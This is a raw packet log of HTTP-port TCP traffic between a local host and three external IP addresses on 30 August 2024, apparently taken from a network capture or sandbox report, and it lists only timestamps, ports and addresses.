Aug 30, 2024 03:17:07.603854895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603864908 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603878975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.603889942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.603890896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603900909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.603908062 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.603910923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603921890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603931904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603940964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.603943110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603954077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.603974104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.603993893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604024887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604033947 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604043961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604058027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604068995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604074955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604078054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604088068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604098082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604103088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604147911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604147911 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604161024 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604175091 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604175091 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604176998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604187965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604197979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604207993 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604208946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604226112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604249954 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604260921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604269981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604284048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604286909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604306936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604315996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604326010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604331017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604341984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604351997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604352951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604365110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.604377985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604404926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.604815006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604825974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604835033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604865074 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604877949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604902983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604913950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604923964 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604934931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604944944 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604944944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.604954958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.604971886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604995966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.604998112 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605001926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605012894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605021954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605032921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605042934 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605070114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605103016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605113983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605124950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605134964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605156898 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605158091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605169058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605179071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605182886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605182886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605215073 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605233908 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605241060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605251074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605262041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605269909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605285883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605302095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605333090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605345011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605355978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605365992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605384111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605412960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605415106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605458975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605468988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605479002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605490923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605500937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605505943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605511904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605528116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605530024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605540991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605551958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605556011 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605566978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.605573893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605577946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605592966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605606079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605608940 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.605614901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605639935 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605650902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605660915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605667114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605671883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605686903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605689049 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605711937 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605715036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605727911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605736017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605737925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605747938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605757952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605767012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605768919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605778933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605802059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.605803967 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605818033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.605834007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605844021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605853081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605863094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.605874062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605884075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605885029 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.605899096 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.605921984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.605977058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605988026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.605998039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606008053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606012106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606019020 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606030941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606040001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606041908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606051922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606071949 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.606082916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606093884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606103897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606105089 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606105089 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606113911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606136084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606136084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606148005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606158972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606163979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.606165886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606168985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606180906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606189013 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.606190920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606203079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606205940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606211901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606223106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606226921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606235027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606245041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.606255054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606264114 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.606278896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606288910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606291056 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.606298923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606311083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606319904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606321096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606332064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606342077 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606349945 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606353998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606353998 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.606365919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.606365919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606376886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606386900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606393099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606403112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606412888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606414080 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606426001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606436014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606441021 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606446981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606447935 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.606460094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.606471062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606472969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.606479883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606493950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.606518984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606543064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606569052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606581926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606590033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606601000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606611013 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606611967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606623888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606631994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606635094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606647968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606657028 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606657982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606684923 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606708050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606858969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606869936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606879950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606892109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606900930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.606905937 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.606935024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.607009888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607022047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607032061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607043028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607052088 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.607054949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607067108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.607098103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.607178926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607188940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607198000 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607208967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607218981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607223034 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607229948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607239962 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607244968 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607250929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607266903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607275009 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607285023 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607294083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607294083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607306957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607316017 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607317924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607327938 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607338905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607343912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607350111 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607359886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607362986 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607372046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607402086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607409000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607419968 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607425928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607441902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607451916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607462883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607462883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607474089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607475996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607485056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607496023 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607501984 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607506990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607517004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607528925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607530117 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607532978 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607539892 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607551098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607559919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607570887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607574940 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607582092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607595921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607606888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607614994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607615948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607619047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.607636929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607661009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.607691050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607733965 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607764959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607775927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607816935 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607866049 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607876062 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607898951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607909918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.607913971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607924938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607934952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607944965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.607954979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607966900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.607966900 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.607985020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608004093 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608007908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608020067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608031988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.608043909 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608056068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608067989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608067989 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.608079910 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608083010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608091116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608099937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608112097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608119011 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608146906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.608176947 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608186960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.608196020 CEST	80	49735	31.41.244.9	192.168.2.4
